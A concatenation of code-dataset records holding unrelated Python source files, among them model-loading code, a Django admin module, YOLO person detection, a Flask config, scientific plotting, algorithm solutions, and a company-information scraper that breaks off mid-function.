segment_ids = torch.tensor([f.segment_ids for f in train_features], dtype=torch.long).cuda()\n\n img_feat, img_pos_feat = visual_feats\n \n output = self.model(input_ids, input_imgs=img_feat, image_loc=img_pos_feat, attention_mask=input_mask)\n\n if args.reg:\n # multisample dropout (wut): https://arxiv.org/abs/1905.09788\n output = torch.mean(\n torch.stack(\n [self.classifier(self.high_dropout(output)) for _ in range(5)],\n dim=0,\n ),\n dim=0,\n )\n else:\n # The classifier is already applied in the model itself\n output = output\n\n return output\n\n def save(self, path):\n torch.save(self.model.state_dict(),\n os.path.join(\"%s_V.pth\" % path))\n\n def load(self, path):\n # Load state_dict from snapshot file\n print(\"Load pre-trained model from %s\" % path)\n state_dict = torch.load(\"%s\" % path)\n new_state_dict = {}\n for key, value in state_dict.items():\n \n # FB Coco Weights\n if key.startswith(\"model.bert.\"):\n print(\"SAVING {} as {}.\".format(key, key[11:]))\n new_state_dict[key[11:]] = value\n\n if key.startswith(\"bert.v_embeddings.image_location_embeddings.weight\") and args.num_pos == 4:\n value = value[:, :4].clone()\n print(\"MODIFYING:\", key)\n new_state_dict[key] = value\n\n elif key.startswith(\"module.\"):\n new_state_dict[key[len(\"module.\"):]] = value\n\n else:\n new_state_dict[key] = value\n state_dict = new_state_dict\n\n # Print out the differences of pre-trained and model weights.\n load_keys = set(state_dict.keys())\n model_keys = set(self.model.state_dict().keys())\n print()\n print(\"Weights in loaded but not in model:\")\n for key in sorted(load_keys.difference(model_keys)):\n print(key)\n print()\n print(\"Weights in model but not in loaded:\")\n for key in sorted(model_keys.difference(load_keys)):\n print(key)\n print()\n\n # Load weights to model\n self.model.load_state_dict(state_dict, strict=False)\n\n def init_weights(self, module):\n \"\"\" Initialize the weights \"\"\"\n print(\"REINITING: \", module)\n if isinstance(module, (nn.Linear, nn.Embedding)):\n # Slightly different from the TF version which uses truncated_normal for initialization\n # cf https://github.com/pytorch/pytorch/pull/5617\n module.weight.data.normal_(mean=0.0, std=self.model.config.initializer_range)\n elif isinstance(module, BertLayerNorm):\n module.bias.data.zero_()\n module.weight.data.fill_(1.0)\n if isinstance(module, nn.Linear) and module.bias is not None:\n module.bias.data.zero_()\n\n def reinit_weights(self, module):\n \"\"\" Re-init final bert weights for a better model \"\"\"\n # This refers to the LXRTEncoder from modeling\n if isinstance(module, nn.ModuleList):\n if isinstance(module[-1], BertLayer):\n print(\"Reiniting :\", module[-1])\n # Reinit that layer: \n module[-2:].apply(self.init_weights)","repo_name":"Muennighoff/vilio","sub_path":"entryD.py","file_name":"entryD.py","file_ext":"py","file_size_in_byte":6824,"program_lang":"python","lang":"en","doc_type":"code","stars":86,"dataset":"github-code","pt":"52"} +{"seq_id":"39838955083","text":"#!/usr/bin/env python3\nimport argparse\nimport csv\nimport pathlib\nimport re\nfrom collections import defaultdict\nfrom pathlib import Path\nfrom typing import List, Set, Dict, Tuple\nfrom xml.etree import ElementTree\n\n\ndef to_csv(out_file: Path, res_path: Path):\n print(f\"Looking up strings.xmls from {res_path}\")\n strings_files: List[pathlib.Path] = list(res_path.rglob('strings.xml'))\n print(f\"Found files {['/'.join(list(f.parts)[-2:]) for f in strings_files]}\")\n\n known_langs: Set[str] = set()\n keys_to_translations: Dict[str, Dict[str, str]] = defaultdict(dict)\n\n strings_file_for_lang: Path\n for strings_file_for_lang in strings_files:\n lang = re.match(r\"values-?(?P.+)?\", strings_file_for_lang.parent.name).group('lang') or 'en'\n known_langs.add(lang)\n for element in ElementTree.parse(strings_file_for_lang).getroot():\n type_tag = element.tag\n if type_tag == 'string':\n string_key = element.attrib['name']\n if len(element) > 0:\n concatenated = \"\"\n if element.text:\n concatenated += element.text\n for e in element:\n concatenated += ElementTree.tostring(e, encoding='unicode', method='xml')\n keys_to_translations[string_key][lang] = concatenated.strip()\n else:\n keys_to_translations[string_key][lang] = element.text.strip()\n elif type_tag == 'plurals':\n plural_name = element.attrib['name']\n for plural_variation in element:\n plural_key = f\"plural__{plural_name}__{plural_variation.attrib['quantity']}\"\n keys_to_translations[plural_key][lang] = plural_variation.text\n else:\n print(f\"Unknown strings.xml entry: '{type_tag}'\")\n\n # noinspection PyTypeChecker\n sorted_keys_with_translations: List[Tuple[str, Dict[str, str]]] = sorted(keys_to_translations.items())\n with open(out_file, 'w', newline='') as csvfile:\n writer = csv.writer(csvfile)\n sorted_known_langs = sorted(known_langs)\n writer.writerow(['key'] + list(sorted_known_langs))\n for key_with_item in sorted_keys_with_translations:\n writer.writerow([key_with_item[0]] + [key_with_item[1].get(_lang) for _lang in sorted_known_langs])\n print(f\"Wrote {len(sorted_keys_with_translations)} keys in {len(sorted_known_langs)} languages to {out_file}\")\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(\n description='''Convert strings.xml -files to csv'''\n )\n parser.add_argument('out_file', type=pathlib.Path, help='output file')\n parser.add_argument('res_path', type=pathlib.Path,\n help='path to res -directory, For example \"~/AndroidStudioProjects/MyApp/app/src/main/res\"')\n args = parser.parse_args()\n to_csv(args.out_file, args.res_path)\n","repo_name":"reaktor/strings-xml-to-csv-and-back","sub_path":"strings_to_csv.py","file_name":"strings_to_csv.py","file_ext":"py","file_size_in_byte":2966,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"71021307046","text":"from django.contrib import admin\nfrom users.models import Profile\nfrom django.contrib.auth.admin import UserAdmin as BaseUserAdmin\nfrom django.contrib.auth.models import User\n# Register your models here.\n\n\"\"\"\nClass to registrate the model to the Admin cms\n\"\"\"\n@admin.register(Profile)\nclass ProfileAdmin(admin.ModelAdmin):\n list_display = ('pk','user','phone_number','website','picture')\n list_display_links = ('pk','user')\n list_display_editable = ('phone_number','website','picture')\n search_fields = ('user__email','user__first_name','user__lastname')\n list_filter = ('created','modified','user__is_active','user__is_staff')\n\n fieldsets = (\n ('Profile',{\n 'fields':(('user','profile'),),\n }),\n ('Extra info',{\n 'fields':(\n ('website','phone_nomber'),\n ('biography')\n ),\n }),\n ('Metadata',{\n 'fields':(('created','modified'),),\n }),\n )\n readonly_fields = ('created','modified')\n\nclass ProfileInline(admin.StackedInline):\n model = Profile\n can_delete = False\n verbose_name_plural = 'profiles'\n\nclass UserAdmin(BaseUserAdmin):\n inlines = (ProfileInline,)\n\nadmin.site.unregister(User)\nadmin.site.register(User,UserAdmin)","repo_name":"Duccem/ducengram","sub_path":"users/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":1271,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"2767465215","text":"# -*- coding: utf8 -*-\nfrom rest_framework import generics\nfrom rest_framework.response import Response\nfrom rest_framework import status\nfrom collect.serializers import (CollectSerializer,\n CollectListSerializer,)\nfrom collect.permissions import IsOwnerOrReadOnly\nfrom collect.models import (Collect, )\nfrom collect.forms import (CollectActionForm,\n CollectListForm,\n CollectDeleteForm)\nfrom Business_App.bz_dishes.caches import DishesDetailCache\n\n\nclass CollectAction(generics.GenericAPIView):\n \"\"\"\n 钱包相关功能\n \"\"\"\n permission_classes = (IsOwnerOrReadOnly, )\n\n def get_collect_detail(self, request, cld):\n kwargs = {'user_id': request.user.id}\n if cld.get('pk'):\n kwargs['pk'] = cld['pk']\n if cld.get('dishes_id'):\n kwargs['dishes_id'] = cld['dishes_id']\n return Collect.get_object(**kwargs)\n\n def does_dishes_exist(self, dishes_id):\n result = DishesDetailCache().get_dishes_detail(dishes_id=dishes_id)\n if isinstance(result, Exception):\n return False\n return True\n\n def post(self, request, *args, **kwargs):\n \"\"\"\n 用户收藏商品\n \"\"\"\n form = CollectActionForm(request.data)\n if not form.is_valid():\n return Response({'Detail': form.errors}, status=status.HTTP_400_BAD_REQUEST)\n\n cld = form.cleaned_data\n collect_obj = self.get_collect_detail(request, cld)\n if not isinstance(collect_obj, Exception):\n serializer = CollectSerializer(collect_obj)\n return Response(serializer.data, status=status.HTTP_200_OK)\n\n if not self.does_dishes_exist(cld['dishes_id']):\n return Response({'Detail': 'Dishes %s does not existed' % cld['dishes_id']},\n status=status.HTTP_400_BAD_REQUEST)\n\n serializer = CollectSerializer(data=cld, request=request)\n if serializer.is_valid():\n result = serializer.save()\n if isinstance(result, Exception):\n return Response({'Detail': result.args}, status=status.HTTP_400_BAD_REQUEST)\n return Response(serializer.data, status=status.HTTP_201_CREATED)\n return Response({'Detail': serializer.errors}, status=status.HTTP_400_BAD_REQUEST)\n\n def delete(self, request, *args, **kwargs):\n \"\"\"\n 删除收藏的商品\n \"\"\"\n form = CollectDeleteForm(request.data)\n if not form.is_valid():\n return Response({'Detail': form.errors}, status=status.HTTP_400_BAD_REQUEST)\n\n cld = form.cleaned_data\n collect_obj = self.get_collect_detail(request, cld)\n if isinstance(collect_obj, Exception):\n return Response({'Detail': collect_obj.args}, status=status.HTTP_400_BAD_REQUEST)\n serializer = CollectSerializer(collect_obj)\n result = serializer.delete(request, collect_obj)\n if isinstance(result, Exception):\n return Response({'Detail': result.args}, status=status.HTTP_400_BAD_REQUEST)\n return Response(status=status.HTTP_204_NO_CONTENT)\n\n\nclass CollectList(generics.GenericAPIView):\n \"\"\"\n 用户收藏列表\n \"\"\"\n permission_classes = (IsOwnerOrReadOnly, )\n\n def get_collects_list(self, request):\n collects = Collect.get_collect_list_with_user(request)\n if isinstance(collects, Exception):\n return collects\n collect_details = []\n for item in collects:\n dishes_detail = DishesDetailCache().get_dishes_detail(item.dishes_id)\n if isinstance(dishes_detail, Exception):\n continue\n collect_details.append(dishes_detail)\n return collect_details\n\n def post(self, request, *args, **kwargs):\n form = CollectListForm(request.data)\n if not form.is_valid():\n return Response({'Detail': form.errors}, status=status.HTTP_400_BAD_REQUEST)\n\n cld = form.cleaned_data\n _instances = self.get_collects_list(request)\n if isinstance(_instances, Exception):\n return Response({'Detail': _instances.args}, status=status.HTTP_400_BAD_REQUEST)\n serializer = CollectListSerializer(data=_instances)\n if not serializer.is_valid():\n return Response({'Detail': serializer.errors}, status=status.HTTP_400_BAD_REQUEST)\n result = serializer.list_data(**cld)\n if isinstance(result, Exception):\n return Response({'Detail': result.args}, status=status.HTTP_400_BAD_REQUEST)\n return Response(result, status=status.HTTP_200_OK)\n\n","repo_name":"dennis1984/YSConsumerApp","sub_path":"collect/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4637,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} +{"seq_id":"40774321973","text":"# Definition for a binary tree node.\nfrom collections import deque\nfrom typing import List, Optional\n\n\nclass TreeNode:\n def __init__(self, val=0, left=None, right=None):\n self.val = val\n self.left = left\n self.right = right\nclass Solution:\n def levelOrder(self, root: Optional[TreeNode]) -> List[List[int]]:\n res = []\n\n def dfs(node, level):\n if not node:\n return\n\n if len(res) <= level:\n res.append([])\n\n ls = res[level]\n ls.append(node.val)\n dfs(node.left, level + 1)\n dfs(node.right, level + 1)\n\n dfs(root, 0)\n return res\n\n","repo_name":"Realizedd/LeetCode","sub_path":"python/102_binary_tree_level_order_traversal.py","file_name":"102_binary_tree_level_order_traversal.py","file_ext":"py","file_size_in_byte":677,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"38245727182","text":"import cv2\nimport numpy as np\nimport os\n\nif __name__ == \"__main__\":\n yolo_path = \"./yolo/\"\nelse:\n yolo_path = \"./human_detection/yolo/\"\nyolo_weights = yolo_path+\"yolov3-spp.weights\"\nyolo_cfg = yolo_path+\"yolov3-spp.cfg\"\n\nYOLO_net = cv2.dnn.readNet(yolo_weights,yolo_cfg)\n\nclasses = [\"person\"]\nlayer_names = YOLO_net.getLayerNames()\noutput_layers = [layer_names[i - 1] for i in YOLO_net.getUnconnectedOutLayers()]\ncolors = np.random.uniform(0, 255, size=(len(classes), 3))\n\nyolo_img_small = (320,320)\nyolo_img_middle = (416,416)\nyolo_img_large = (608,608)\n\ndef detect(frame):\n height, width, channels = frame.shape\n\n # YOLO 입력\n blob = cv2.dnn.blobFromImage(image=frame, scalefactor=0.00092, size=yolo_img_large, mean=(0, 0, 0, 0),\n swapRB=True, crop=False)\n YOLO_net.setInput(blob)\n outs = YOLO_net.forward(output_layers)\n\n class_ids = []\n confidences = []\n boxes = []\n centers = []\n for out in outs:\n for detection in out:\n scores = detection[5:]\n class_id = np.argmax(scores)\n confidence = scores[class_id]\n if confidence > 0.5:\n\n center_x = int(detection[0] * width)\n center_y = int(detection[1] * height)\n centers.append((center_x, center_y))\n w = int(detection[2] * width)\n h = int(detection[3] * height)\n\n x = int(center_x - w / 2)\n y = int(center_y - h / 2)\n boxes.append([x, y, w, h])\n confidences.append(float(confidence))\n class_ids.append(class_id)\n\n indexes = cv2.dnn.NMSBoxes(boxes, confidences, 0.5, 0.4)\n\n results = []\n font = cv2.FONT_HERSHEY_PLAIN\n for i in range(len(boxes)):\n if i in indexes:\n x, y, w, h = boxes[i]\n if len(classes) > class_ids[i]:\n label = str(classes[class_ids[i]])\n results.append((centers[i], label))\n else:\n continue\n cv2.rectangle(frame, (x, y), (x + w, y + h), (0, 0, 255), 2)\n cv2.putText(frame, label, (x, y + 30), font, 3, (0, 0, 255), 3)\n\n return (frame,results)\n\ndef detectImageAndShow(path, output_path):\n img = cv2.imread(path)\n\n result_image, _ = detect(img)\n cv2.imshow(\"result\", result_image)\n\n if output_path is not None:\n cv2.imwrite(output_path, result_image)\n\n cv2.waitKey(0)\n cv2.destroyAllWindows()\n\nasync def detectImage(path):\n img = cv2.imread(path)\n\n _, results = detect(img)\n\n return results\n\nif __name__ == \"__main__\":\n\n sample_input_path = \"./sample/input/\"\n sample_output_path = \"./sample/output/\"\n\n yolo_path = \"./yolo\"\n\n for name in os.listdir(sample_input_path):\n if name == \".gitkeep\": continue\n detectImageAndShow(sample_input_path+name,sample_output_path+name)\n\n","repo_name":"zune2222/Busan_7th_ICT_Hackathon_1978_AI","sub_path":"human_detection/detection.py","file_name":"detection.py","file_ext":"py","file_size_in_byte":2889,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"11639365071","text":"# config for Flask-WTF extension\n# activates x-site request forgery prevention\nWTF_CSRF_ENABLED = True\nSECRET_KEY = 'my-secret-key'\n\nOPENID_PROVIDERS = [\n\t{'name': 'Google', 'url': 'https://www.google.com/accounts/o8/id'},\n {'name': 'Yahoo', 'url': 'https://me.yahoo.com'},\n {'name': 'AOL', 'url': 'http://openid.aol.com/'},\n {'name': 'Flickr', 'url': 'http://www.flickr.com/'},\n {'name': 'MyOpenID', 'url': 'https://www.myopenid.com'}\n]\n\nimport os\nbasedir = os.path.abspath(os.path.dirname(__file__))\n\n# declare the path of our database file\nSQLALCHEMY_DATABASE_URI = 'sqlite:///' + os.path.join(basedir, 'app.db')\n\n# this is where we'll store SQLAlchemy-migrate data files\nSQLALCHEMY_MIGRATE_REPO = os.path.join(basedir, 'db_repository')\n\n# mail server settings\nMAIL_SERVER = 'localhost'\nMAIL_PORT = 25\nMAIL_USERNAME = None\nMAIL_PASSWORD = None\n\n# administrator list\nADMINS = ['you@example.com']\n\n# pagination\nPOSTS_PER_PAGE = 3\n\n# configure WhooshAlchemy\nWHOOSH_BASE = os.path.join(basedir, 'search.db')\n\n# indicate # of search results that should be returned as maximum\nMAX_SEARCH_RESULTS = 50\n","repo_name":"sunmkim/flask-project","sub_path":"config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":1130,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"22943471186","text":"import random\nfilename = 'text.txt'\n\ntext_lines = []\n\nwith open(filename, 'r') as file:\n # text = file.read()\n text_lines = file.readlines()\n \ndef get_words_from_file():\n with open(filename, 'r') as file:\n text_lines = file.readlines()\n return text_lines\n\n# def get_random_sentence():\n# i = int(input(\"Type the length of sentence (from 2 to 20): \"))\n# return(i)\n\nj_list = []\n\n\n \ntry:\n i = int(input(\"Type the length of sentence (from 2 to 20): \"))\n if i > 20 or i < 2:\n print('You should type a number between 2 and 20')\n\nexcept ValueError:\n print('You should type a number')\n \nfor j in range(int(i)):\n j = random.randint(1, len(text_lines))\n p = text_lines[j]\n j_list.append(p)\n \ndef main():\n '''\n This function creates a random sentence with users length \n '''\n\n\n# print(text)\n# print(get_words_from_file())\n# get_random_sentence()\n\nprint(j_list)\nsentence = str.join('\\n', j_list)\nsentence2 = sentence.split('\\n')\nsentence3 = str.join(\" \", sentence2)\nprint(sentence)\nprint(sentence2)\nprint(sentence3.lower())\n\n","repo_name":"Sergeisbq/DI-Bootcamp-Stage1","sub_path":"Week3/Day4/Ex_XP/XPtest.py","file_name":"XPtest.py","file_ext":"py","file_size_in_byte":1088,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"16047266224","text":"from pathlib import Path\n\nimport numpy as np\nimport pytest\nfrom scipy.io import wavfile\nfrom tqdm.auto import tqdm\nfrom ttslearn.pretrained import (\n create_tts_engine,\n get_available_model_ids,\n is_pretrained_model_ready,\n retrieve_pretrained_model,\n)\n\nOUT_DIR = Path(__file__).parent / \"out_dir\"\nOUT_DIR.mkdir(exist_ok=True)\n\n\ndef test_is_pretrained_model_ready():\n # warmup\n create_tts_engine(\"dnntts\").tts(\"test\")\n # should exist\n assert is_pretrained_model_ready(\"dnntts\")\n # I wish...\n assert not is_pretrained_model_ready(\"super_sugoi_tsuyoi_model\")\n\n\ndef test_retrieve_pretrained_model():\n # warmup\n create_tts_engine(\"dnntts\").tts(\"test\")\n\n # shouldn't raise\n retrieve_pretrained_model(\"dnntts\")\n\n with pytest.raises(ValueError):\n retrieve_pretrained_model(\"super_sugoi_tsuyoi_model\")\n\n\n# Test if the results sound okay. Check the generated wav files after running the test\ndef test_all_pretraind_models():\n for idx, name in enumerate(get_available_model_ids()):\n if not is_pretrained_model_ready(name):\n print(f\"Pretrained model does not exist: {name}\")\n continue\n print(idx, name)\n engine = create_tts_engine(name)\n if hasattr(engine, \"spks\") and engine.spks is not None:\n assert engine.spk2id is not None\n wav, sr = engine.tts(\"ありがとうございました\", tqdm=tqdm, spk_id=1)\n else:\n wav, sr = engine.tts(\"ありがとうございました\", tqdm=tqdm)\n\n assert wav.dtype == np.int16\n wav = (wav / np.abs(wav).max() * 32767.0).astype(np.int16)\n wavfile.write(OUT_DIR / f\"{idx:02d}_test_{name}.wav\", sr, wav)\n\n assert len(wav) > 0\n","repo_name":"r9y9/ttslearn","sub_path":"tests/test_pretrained.py","file_name":"test_pretrained.py","file_ext":"py","file_size_in_byte":1724,"program_lang":"python","lang":"en","doc_type":"code","stars":230,"dataset":"github-code","pt":"52"} +{"seq_id":"41879529998","text":"import math\nN,M,L,K=list(map(int, input().split()))\nA=list(map(int, input().split()))\ndp = [[float(\"inf\")] * (M) for _ in range(N+1)]\ndp[0][0]=0\nfor i in range(N):\n a = A[i]\n for j in reversed(range(M)):\n dp[i+1][j] = min(dp[i][j],dp[i+1][j])\n if dp[i][j] == float(\"inf\"):continue\n if j+a >= M:\n dp[i+1][(j+a)%(M)] = min(dp[i+1][(j+a)%(M)], dp[i][j]+math.ceil(a/M))\n else:\n dp[i+1][j+a] = min(dp[i+1][j+a], dp[i][j])\n# print(dp)\nans = \"Yes\"\nif dp[N][L] == float(\"inf\") or dp[N][L] >= K:ans = \"No\"\nprint(ans)","repo_name":"tokumaru-y/competitive_program_python","sub_path":"antBook/re_solve/200/30.py","file_name":"30.py","file_ext":"py","file_size_in_byte":563,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"22276824626","text":"import h5py\nimport os\nimport numpy as np\n\nfrom .polarview import PolarView\n\nfrom hexrd.ui.constants import ViewType\nfrom hexrd.ui.create_hedm_instrument import create_hedm_instrument\nfrom hexrd.ui.hexrd_config import HexrdConfig\nfrom hexrd.ui.overlays import update_overlay_data\n\n\ndef polar_viewer():\n return InstrumentViewer()\n\n\nclass InstrumentViewer:\n\n def __init__(self):\n self.type = ViewType.polar\n self.instr = create_hedm_instrument()\n self.images_dict = HexrdConfig().current_images_dict()\n\n # Resolution settings\n # As far as I can tell, self.pixel_size won't actually change\n # anything for a polar plot, so just hard-code it.\n self.pixel_size = 0.5\n\n self.draw_polar()\n\n @property\n def all_detector_borders(self):\n return self.pv.all_detector_borders\n\n @property\n def angular_grid(self):\n return self.pv.angular_grid\n\n def update_angular_grid(self):\n self.pv.update_angular_grid()\n\n def update_image(self):\n self.pv.generate_image()\n self.img = self.pv.img\n\n def draw_polar(self):\n \"\"\"show polar view of rings\"\"\"\n self.pv = PolarView(self.instr)\n self.pv.warp_all_images()\n\n tth_min = HexrdConfig().polar_res_tth_min\n tth_max = HexrdConfig().polar_res_tth_max\n eta_min = HexrdConfig().polar_res_eta_min\n eta_max = HexrdConfig().polar_res_eta_max\n\n self._extent = [tth_min, tth_max, eta_max, eta_min] # l, r, b, t\n self.img = self.pv.img\n self.snip1d_background = self.pv.snip1d_background\n\n def update_overlay_data(self):\n update_overlay_data(self.instr, self.type)\n\n def update_detector(self, det):\n self.pv.update_detector(det)\n self.img = self.pv.img\n\n def write_image(self, filename='polar_image.npz'):\n # Prepare the data to write out\n data = {\n 'tth_coordinates': self.angular_grid[1],\n 'eta_coordinates': self.angular_grid[0],\n 'intensities': self.img,\n 'extent': np.radians(self._extent)\n }\n\n # Delete the file if it already exists\n if os.path.exists(filename):\n os.remove(filename)\n\n # Check the file extension\n _, ext = os.path.splitext(filename)\n ext = ext.lower()\n\n if ext == '.npz':\n # If it looks like npz, save as npz\n np.savez(filename, **data)\n else:\n # Default to HDF5 format\n f = h5py.File(filename, 'w')\n for key, value in data.items():\n f.create_dataset(key, data=value)\n","repo_name":"cjh1/hexrdgui","sub_path":"hexrd/ui/calibration/polar_plot.py","file_name":"polar_plot.py","file_ext":"py","file_size_in_byte":2619,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"52"} +{"seq_id":"6096108881","text":"from my_chat import My_Chat\n\nclass User(My_Chat):\n \"\"\"\n Хранение имини пользователя\n отправить сообщение\n получить список сообщений\n \"\"\"\n user_name: str\n\n\n def __init__(self, user_name):\n self.user_name = user_name\n self.message_list = []\n\n\n\n","repo_name":"VolodkoUra/My","sub_path":"Chat/user.py","file_name":"user.py","file_ext":"py","file_size_in_byte":343,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"17625919543","text":"\"\"\"\nExample illustrates setup of lookup table reservoir component and custom sample\nset for discrete parameters.\n\nThis example requires the additional Kimberlina data set.\nKimberlina data set (pressure-in-pa-kimb-54-sims.zip or\nPressure_In_Pa_Kimb_54_sims.zip) can be downloaded from one of the following places:\n1. https://edx.netl.doe.gov/dataset/nrap-open-source-iam\n2. https://gitlab.com/NRAP/Kimberlina_data\n\nThe downloaded data set should be placed here:\n source/components/reservoir/lookuptables/Kimb_54_sims\n\nExample of run:\n$ python iam_sys_lutreservoir_sampleset.py\n\"\"\"\n\nimport sys\nimport os\nimport logging\nimport numpy as np\nimport matplotlib.pyplot as plt\nsys.path.insert(0, os.sep.join(['..', '..', 'source']))\nfrom openiam import (SystemModel, ReservoirDataInterpolator, LookupTableReservoir)\n\n\nif __name__ == '__main__':\n logging.basicConfig(level=logging.WARNING)\n\n file_directory = os.sep.join(['..', '..', 'source', 'components', 'reservoir',\n 'lookuptables', 'Kimb_54_sims'])\n\n if not os.path.exists(os.sep.join([file_directory, 'Reservoir_data_sim01.csv'])):\n msg = ''.join(['\\nKimberlina data set can be downloaded ',\n 'from one of the following places:\\n',\n '1. https://edx.netl.doe.gov/dataset/nrap-open-source-iam \\n',\n '2. https://gitlab.com/NRAP/Kimberlina_data \\n',\n 'Check this example description for more information.'])\n logging.error(msg)\n\n # Define keyword arguments of the system model\n num_years = 50\n time_array = 365.25*np.arange(0.0, num_years+1)\n sm_model_kwargs = {'time_array': time_array} # time is given in days\n\n # Create system model\n sm = SystemModel(model_kwargs=sm_model_kwargs)\n\n # Read file with signatures of interpolators and names of files with the corresponding data\n signature_data = np.genfromtxt(\n os.path.join(file_directory, 'parameters_and_filenames.csv'),\n delimiter=\",\", dtype='str')\n\n # The first row (except the last element) of the file contains names of the parameters\n par_names = signature_data[0, 1:-1]\n num_pars = len(par_names)\n\n num_interpolators = signature_data.shape[0]-1 # -1 since the first line is a header\n\n # Create and add interpolators to the system model\n for ind in range(num_interpolators):\n\n signature = {par_names[j]: float(signature_data[ind+1, j+1]) for j in range(num_pars)}\n\n intpr = sm.add_interpolator(ReservoirDataInterpolator(\n name='int'+str(ind+1), parent=sm,\n header_file_dir=file_directory,\n time_file='time_points.csv',\n data_file='Reservoir_data_sim{ind1:02}.csv'.format(ind1=ind+1),\n index=int(signature_data[ind+1, 0]),\n signature=signature), intr_family='reservoir')\n\n debug_msg = 'Signature of the created interpolator is {}'.format(signature)\n logging.debug(debug_msg)\n\n logging.debug('All interpolators are created')\n\n # Add reservoir component\n ltres = sm.add_component_model_object(LookupTableReservoir(\n name='ltres', parent=sm,\n intr_family='reservoir', locX=37478.0, locY=48333.0))\n\n # Add index parameter of reservoir component model\n num_samples = 5\n ltres.add_par('index', value=1,\n discrete_vals=[list(range(1, num_samples+1)), 5*[1.0]])\n\n # Add observations of reservoir component model\n ltres.add_obs('pressure')\n ltres.add_obs('CO2saturation')\n\n samples = np.arange(1, num_samples+1).reshape(num_samples, 1)\n s = sm.create_sampleset(samples)\n\n results = s.run(cpus=5, verbose=False)\n\n # Extract results from stochastic simulations\n out = s.collect_observations_as_time_series()\n\n # Setup plot parameters\n label_size = 13\n font_size = 16\n ticks_size = 12\n line_width = 2\n\n # Plot results\n fig, ax = plt.subplots(1, 2, figsize=(13, 5))\n for ind, obs_nm in enumerate(['CO2saturation', 'pressure']):\n for sind in range(num_samples):\n ax[ind].plot(time_array/365.25, out['ltres.'+obs_nm][sind], '-',\n linewidth=line_width, label='scenario {}'.format(sind+1))\n ax[ind].set_xlabel('Time, [years]', fontsize=label_size)\n ax[0].set_ylabel(r'CO$_2$ saturation, [-]',\n fontsize=label_size)\n ax[1].set_ylabel(r'Pressure, [Pa]',\n fontsize=label_size)\n ax[1].legend()\n fig.suptitle('Results of simulation', fontsize=font_size)\n","repo_name":"equinor/NRAP-Open-IAM_GH","sub_path":"examples/scripts/iam_sys_lutreservoir_sampleset.py","file_name":"iam_sys_lutreservoir_sampleset.py","file_ext":"py","file_size_in_byte":4530,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"28147340930","text":"#!/usr/bin/env python \r\n# coding=utf-8\r\n\r\n\"\"\" \r\n* author: Yuan\r\n* time: 2017/6/1 10:28 \r\n\"\"\"\r\nimport requests\r\nfrom pyquery import PyQuery as pq\r\nfrom lxml.html import etree\r\nimport urllib.parse\r\nimport json\r\nimport re\r\nimport time\r\nfrom setting import *\r\n\r\n\r\ndef getPage(url, proxy=None, pub_headers=HEADERS):\r\n try:\r\n res = requests.get(url, headers=pub_headers, proxies=proxy, verify=False, timeout=5)\r\n regex = re.compile('验证后继续使用')\r\n if regex.findall(res.text):\r\n return {'code': -4, 'msg': '机器人验证!'}\r\n elif res.status_code == 200:\r\n return {'code': 0, 'html': res.content, 'msg': 'ok'}\r\n else:\r\n return {'code': -1001, 'msg': res.status_code}\r\n except Exception as e:\r\n print('Crawling Failed', url)\r\n return {'code': -1002, 'msg': str(e)}\r\n\r\n\r\ndef getListPage(search_word, proxy=None):\r\n keyword = search_word + '工商信息_电话_地址_信用信息_财务信息-企查查'\r\n url = 'https://www.baidu.com/s?wd={0}&oq={0}'.format(urllib.parse.quote(keyword))\r\n res = getPage(url, proxy)\r\n if res['code'] == 0:\r\n tree = etree.HTML(res['html'])\r\n divs = tree.xpath('//div[@class=\"result c-container \"]/div[2]')\r\n if divs:\r\n regex = re.compile('^https://www\\.qichacha\\.com/firm_.+')\r\n links = []\r\n for div in divs:\r\n domain = Xpath(div, './a[1]/text()')\r\n if domain and regex.findall(domain):\r\n link = Xpath(div, './a[2]/@href')\r\n links.append(link)\r\n return {'code': 0, 'data': list(set(links)), 'msg': 'ok'}\r\n else:\r\n return {'code': -5, 'msg': '列表页解析失败!'}\r\n else:\r\n res['msg'] = '[列表页]' + res['msg']\r\n return res\r\n\r\n\r\ndef allString(tree, xpath):\r\n tag = tree.xpath(xpath)\r\n if len(tag) == 1:\r\n return tag[0].xpath('string(.)')\r\n else:\r\n return None\r\n\r\n\r\ndef Xpath(tree, xpath):\r\n try:\r\n info = tree.xpath(xpath)[0].strip('\\n')\r\n return info\r\n except:\r\n return None\r\n\r\n\r\nclass parseQiChaCha():\r\n def __init__(self, html):\r\n self.html = html\r\n\r\n def parseBaseInfo(self):\r\n tree = etree.HTML(self.html)\r\n base_info = {}\r\n res = tree.xpath('//td[@class=\"m_cl_left\"]')\r\n if not res:\r\n res = tree.xpath('//td[@class=\"ma_left\"]')\r\n tds = res\r\n if len(tds) == 17:\r\n try:\r\n base_info['name'] = allString(tree, '//span[@class=\"text-big font-bold\"]')\r\n base_info['credit_code'] = tds[0].xpath('string(.)').strip('\\n')\r\n base_info['business_id'] = tds[1].xpath('string(.)').strip('\\n')\r\n base_info['state'] = tds[3].xpath('string(.)').strip('\\n')\r\n base_info['corporation'] = tds[4].xpath('string(.)').strip('\\n')\r\n base_info['capital'] = tds[5].xpath('string(.)').strip('\\n')\r\n base_info['business_type'] = tds[6].xpath('string(.)').strip('\\n')\r\n base_info['creation_date'] = tds[7].xpath('string(.)').strip('\\n')\r\n operation_period = 